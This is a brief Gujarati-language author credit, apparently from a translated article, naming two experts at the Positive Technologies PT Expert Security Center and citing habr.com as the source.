• એન્ટોન ટ્યુરિન, નિષ્ણાત સેવાઓ વિભાગના વડા, પીટી નિષ્ણાત સુરક્ષા કેન્દ્ર, હકારાત્મક ટેક્નોલોજીસ
• એગોર પોડમોકોવ, નિષ્ણાત, પીટી નિષ્ણાત સુરક્ષા કેન્દ્ર, હકારાત્મક ટેક્નોલોજીસ

સોર્સ: www.habr.com